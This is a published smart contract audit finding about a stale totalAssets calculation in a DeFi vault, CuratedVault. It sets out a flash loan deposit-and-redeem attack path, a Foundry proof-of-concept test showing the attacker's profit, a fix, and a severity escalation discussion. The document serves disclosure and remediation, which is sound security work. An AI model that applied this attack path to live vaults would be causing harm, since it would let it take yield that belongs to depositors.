An attacker can hijack the `CuratedVault`'s matured yield
The vault's totalAssets function does not update the pool's liquidityIndex, so when an attacker deposits after yield has accrued, they receive shares based on the stale total assets and can redeem them to capture a portion of the matured yield. An attacker can use a flash loan to deposit and redeem in the same transaction, profiting at the expense of existing vault users.
0xAlix2 Follow with 0xc0ffEE, A2-security and 9 others
Originally disclosed on Sherlock
Source: https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/199
Found by
0xAlix2, 0xc0ffEE, A2-security, JCN, Obsidian, TessKimy, Varun_05, dhank, ether_sky, iamnmt, trachev, zarkk01
Summary
CuratedVault#totalAssets does not update pool's liquidityIndex at the beginning will cause the matured yield to be distributed to users that do not supply to the vault before the yield accrues. An attacker can exploit this to hijack the CuratedVault's matured yield.
Root Cause
CuratedVault#totalAssets does not update pool's liquidityIndex at the beginning
function totalAssets() public view override returns (uint256 assets) {
for (uint256 i; i < withdrawQueue.length; ++i) {
assets += withdrawQueue[i].getBalanceByPosition(asset(), positionId);
}
}
Internal pre-conditions
No response
External pre-conditions
No response
Attack Path
Let's have:
- A vault has a total assets of
totalAssets Xamount of yield is accrued fromT1toT2
- The attacker takes a flash loan of
flashLoanAmount - The attacker deposits
flashLoanAmountatT2to the vault. SinceCuratedVault#totalAssetsdoes not update pool'sliquidityIndex, the minted shares are calculated based on the total assets atT1. - The attacker redeems all the shares and benefits from
Xamount of yield. - The attacker repays the flash loan.
The cost of this attack is gas fee and flash loan fee.
Impact
The attacker hijacks flashLoanAmount / (flashLoanAmount + totalAssets) percentage of X amount of yield.
X could be a considerable amount when:
- The pool has high interest rate.
T2 - T1is large. This is the case for the pool with low interactions.
When X is a considerable amount, the amount of hijacked funds could be greater than the cost of the attack, then the attacker will benefit from the attack.
PoC
Due to a bug in PositionBalanceConfiguration#getSupplyBalance that we submitted in a different issue, fix the getSupplyBalance function before running the PoC
core/pool/configuration/PositionBalanceConfiguration.sol
library PositionBalanceConfiguration {
function getSupplyBalance(DataTypes.PositionBalance storage self, uint256 index) public view returns (uint256 supply) {
- uint256 increase = self.supplyShares.rayMul(index) - self.supplyShares.rayMul(self.lastSupplyLiquidtyIndex);
- return self.supplyShares + increase;
+ return self.supplyShares.rayMul(index);
}
}
Run command: forge test --match-path test/PoC/PoC.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {console} from 'lib/forge-std/src/Test.sol';
import '../forge/core/vaults/helpers/IntegrationVaultTest.sol';
contract ERC4626Test is IntegrationVaultTest {
address attacker = makeAddr('attacker');
function setUp() public {
_setUpVault();
_setCap(allMarkets[0], CAP);
_sortSupplyQueueIdleLast();
oracleB.updateRoundTimestamp();
oracle.updateRoundTimestamp();
uint256 vaultAssets = 10 ether;
loanToken.mint(supplier, vaultAssets);
vm.prank(supplier);
vault.deposit(vaultAssets, supplier);
vm.prank(attacker);
loanToken.approve(address(vault), type(uint256).max);
}
function testDeposit() public {
collateralToken.mint(borrower, type(uint128).max);
vm.startPrank(borrower);
allMarkets[0].supplySimple(address(collateralToken), borrower, type(uint128).max, 0);
allMarkets[0].borrowSimple(address(loanToken), borrower, 8 ether, 0);
skip(100 days);
oracleB.updateRoundTimestamp();
oracle.updateRoundTimestamp();
uint256 vaultAssetsBefore = vault.totalAssets();
console.log("Vault's assets before updating reserve: %e", vaultAssetsBefore);
uint256 snapshot = vm.snapshot();
allMarkets[0].forceUpdateReserve(address(loanToken));
console.log("Vault's accrued yield: %e", vault.totalAssets() - vaultAssetsBefore);
vm.revertTo(snapshot);
uint256 flashLoanAmount = 100 ether;
loanToken.mint(attacker, flashLoanAmount);
vm.startPrank(attacker);
uint256 shares = vault.deposit(flashLoanAmount, attacker);
vault.redeem(shares, attacker, attacker);
vm.stopPrank();
console.log("Attacker's profit: %e", loanToken.balanceOf(attacker) - flashLoanAmount);
}
}
Logs:
Vault's assets before updating reserve: 1e19
Vault's accrued yield: 5.62832773326440941e17
Attacker's profit: 5.11666157569491763e17
Although the yield accrued, the vault's assets before updating reserve is still 1e19.
Mitigation
Update pool's liquidityIndex at the beginning of CuratedVault#totalAssets
function totalAssets() public view override returns (uint256 assets) {
for (uint256 i; i < withdrawQueue.length; ++i) {
+ withdrawQueue[i].forceUpdateReserve(asset());
assets += withdrawQueue[i].getBalanceByPosition(asset(), positionId);
}
}
Discussion
DemoreXTess
Escalate
This should be classified as high severity. Due to the outdated totalAssets, all actions that rely on totalAssets, such as supplying assets, will result in a loss of funds. The minted shares will be incorrect whenever a user supplies assets to the vault. This not only exposes the protocol to flash loan attacks but also causes a direct loss of funds for users. Therefore, the severity of the issue should be high.
sherlock-admin3
Escalate
This should be classified as high severity. Due to the outdated totalAssets, all actions that rely on totalAssets, such as supplying assets, will result in a loss of funds. The minted shares will be incorrect whenever a user supplies assets to the vault. This not only exposes the protocol to flash loan attacks but also causes a direct loss of funds for users. Therefore, the severity of the issue should be high.
You've created a valid escalation!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
cvetanovv
I agree that this issue meets the requirements for High severity:
Definite loss of funds without (extensive) limitations of external conditions. The loss of the affected party must exceed 1%.
Due to the stale totalAssets data, all actions that depend on this function can result in user losses without requiring any external conditions to be met.
Planning to accept the escalation and make this issue High severity.
WangSecurity
Result: High Has duplicates
sherlock-admin4
Escalations have been resolved successfully!
Escalation status:
- DemoreXTess: accepted
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely, the totalAssets function reads the pool balance without first updating the pool's liquidityIndex, so it returns a stale value that does not include accrued yield.
Impact
The attacker could hijack a percentage of the accrued yield, and the profit may exceed the cost of the attack when the yield is large.
What the attacker needed
Ability to take a flash loan; Yield has accrued in the vault; Attacker can deposit and redeem in one transaction
The fix
The totalAssets function should update the pool's liquidityIndex before reading the balance, for example by calling forceUpdateReserve on each pool in the withdraw queue.
How it was found
- The attacker takes a flash loan of a large amount.
- The attacker deposits the flash loan into the vault at a time after yield has accrued.
- Because totalAssets is stale, the attacker receives more shares than they should.
- The attacker redeems all shares and receives a portion of the accrued yield.
- The attacker repays the flash loan.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A vault is a shared pot where people deposit money and earn interest. The vault calculates how many shares you get based on the total money it holds, but it forgot to update that total after interest was earned. So someone can quickly deposit a large borrowed sum, get shares as if the interest never happened, then immediately withdraw and walk away with a slice of the interest that belonged to the earlier depositors.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.